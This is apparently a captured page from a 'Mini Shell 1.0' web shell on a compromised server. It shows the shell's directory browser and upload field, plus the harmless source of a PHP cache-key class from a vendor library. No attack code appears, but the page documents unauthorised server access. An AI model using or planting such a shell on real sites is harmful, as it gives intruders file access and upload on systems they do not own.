HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/cwd/vendor/beste/in-memory-cache/src/
Upload File :
Current File : //proc/self/cwd/vendor/beste/in-memory-cache/src/CacheKey.php
<?php

namespace Beste\Cache;

/**
 * @internal
 */
final class CacheKey
{
    private function __construct(private readonly string $value) {}

    public static function fromString(string $value): self
    {
        if (preg_match('/^[a-zA-Z0-9_.-]+$/u', $value) !== 1) {
            throw InvalidArgument::invalidKey();
        }

        return new self($value);
    }

    public function toString(): string
    {
        return $this->value;
    }
}